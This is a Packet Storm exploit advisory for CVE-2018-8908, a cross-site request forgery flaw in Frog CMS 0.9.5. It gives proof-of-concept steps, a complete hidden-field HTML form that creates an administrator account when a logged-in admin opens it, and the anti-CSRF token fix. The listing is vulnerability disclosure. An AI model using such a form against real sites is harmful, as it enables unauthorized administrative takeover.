Frog CMS 0.9.5 Cross Site Request Forgery

2018-03-3100:00:00

Samrat Das

packetstormsecurity.com

0.002 Low

EPSS

Percentile

56.0%

JSON

`# Exploit Title:aa Cross Site Request Forgery- Frog CMS  
# Date: 31-03-2018  
# Exploit Author: Samrat Das  
# Contact: http://twitter.com/Samrat_Das93  
# Website: https://securitywarrior9.blogspot.in/  
# Vendor Homepage: https://github.com/philippe/FrogCMS  
# Version: 0.9.5  
# CVE : CVE-2018-8908  
# Category: Webapp CMS  
  
  
1. Description  
  
The application source code is coded in a way which allows malicious HTML  
request to be executed without veryifying source of request.This leads to  
arbitary execution with malicous request which will lead to the creation of  
a privileged user.  
  
2. Proof of Concept  
  
Visit the application  
Visit the Add Users Page.  
Craft an html page with all the details for an admin user creation  
and host it on a server  
Upon the link being clicked by a logged in admin user, immidiately,  
another admin user will get created.  
  
Exploit Code:  
  
<html>  
<body>  
<form action="http://localhost/frog/admin/?/user/add" method="POST">  
<input type="hidden" name="user[name]" value="Test_1" />  
<input type="hidden" name="user[email]" value="" />  
<input type="hidden" name="user[username]" value="test" />  
<input type="hidden" name="user[password]" value="test" />  
<input type="hidden" name="user[confirm]" value="test" />  
<input type="hidden"  
name="user_permission[administrator]" value="1" />  
<input type="hidden" name="commit" value="Save" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
3. Solution:  
  
Solution - Fix & Patch: The application code should be configured to  
implement anti csrf token to filter malicous HTTP Requests.  
  
  
4. Public Reference with POC and steps:  
  
http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html  
  
Thanks and Regards  
Samrat  
  
`

0.002 Low

EPSS

Percentile

56.0%

JSON

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